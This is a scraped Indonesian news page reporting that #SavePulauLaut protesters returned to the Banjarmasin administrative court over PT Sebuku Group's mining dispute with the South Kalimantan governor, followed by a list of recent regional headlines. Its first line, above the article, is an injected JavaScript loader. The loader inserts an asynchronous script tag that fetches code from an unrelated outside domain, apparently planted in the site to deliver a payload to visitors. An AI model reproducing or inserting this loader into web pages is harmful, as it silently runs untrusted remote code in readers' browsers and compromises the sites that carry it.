(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Massa #SAVEPULAULAUT Kembali ‘Serbu’ PTUN Banjarmasin


BANJARMASIN, Sidang lanjutan gugatan PT Sebuku Group versus Gubernur Kalimantan Selatan H Sahbirin Noor berlanjut kembali, Kamis (31/5) di Pengadilan Tata Usaha Negeri Banjarmasin dengan agenda penyerahan kesimpulan.

Pada saat kesimpulan di persidangan, halaman PTUN Banjarmasin kembali kedatangan massa #savepulaulaut yang menuntut dan menyuarakan aspirasi mereka yang menolak tambang di Pulau Laut.

Sugianoor, Dewan Penasehat Lembaga Swadaya Masyarakat Anak Kaki Gunung Sebatang mengatakan, kejadian ini pernah dialaminya pada tahun 2000-an ketika masyarakat membawa aspirasi mereka dengan murni untuk menolak pertambangan.

“Bukan apa-apa, saya tahu bagaimana tambang di Kotabaru, ucapan saya tidak mengada-ada,” katanya.

Ditambahkannya, pertambangan di Kotabaru merupakan hasil kegiatan yang sangat tidak bermanfaat dan pekerja dari suatu proyek tambang didominasi oleh masyarakat luar Kotabaru. Dari income daerah pun tak mumpunyai dampak yang besar dari segi ekonomi maupun fasilitas dan sarana masyarakat.

Menurutnya tidak ada satupun hal positifnya yang dihasilkan oleh pengusaha tambang, baik dari sektor kesehatan maupun fasilitas umum, sedangkan Kotabaru menyumbangkan kurang lebih Rp 100 triliun untuk APBN.

“Fasilitas?, jembatan saja sampai saat ini belum terbangun,” katanya.

Apabila keputusan ini tetap mengabulkan pihak PT Sebuku Group untuk tetap melakukan penambangan di Pulau Laut, maka masyarakat akan terus berjuang melawan keputusan tersebut. Ia menegaskan bahwa hukum harus berdasarkan representasi aspirasi masyarakat.

“Hukum harus berpihak kepada masyakat,” terangnya.

Ia berharap kepada seluruh elemen masyarakat harus bijaksana dalam menanggapi penolakan tambang di Pulau Laut, pihak yang menolak bukan anti investasi akan tetapi lebih ingin mengembangkan agrobisnis dan agrowisata karena dinilai lebih ramah serta tidak merusak lingkungan. (ammar)

Reporter: Ammar
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

‎Pemkab HSU Berikan Bonus Rp13,6 Miliar untuk Atlet‎ dan Pelatih

KANALKALIMANTAN.COM, AMUNTAI - ‎‎Senyum kegembiraan terpancar dari para atlet, salah satunya atlet renang, Putri yang… Read More

23 menit ago

Pemkab Kapuas Tetapkan Tiga Lokasi Pasar Ramadan, Ini Lokasinya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More

12 jam ago

Bagian Umum Pengadaan Dua Kamera Mirrorless, Wali Kota Banjarmasin Tak Tahu

KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More

12 jam ago

Mahasiswa Banjarmasin Suarakan Keresahan Masyarakat di Balai Kota

Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More

15 jam ago

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

21 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

22 jam ago

This website uses cookies.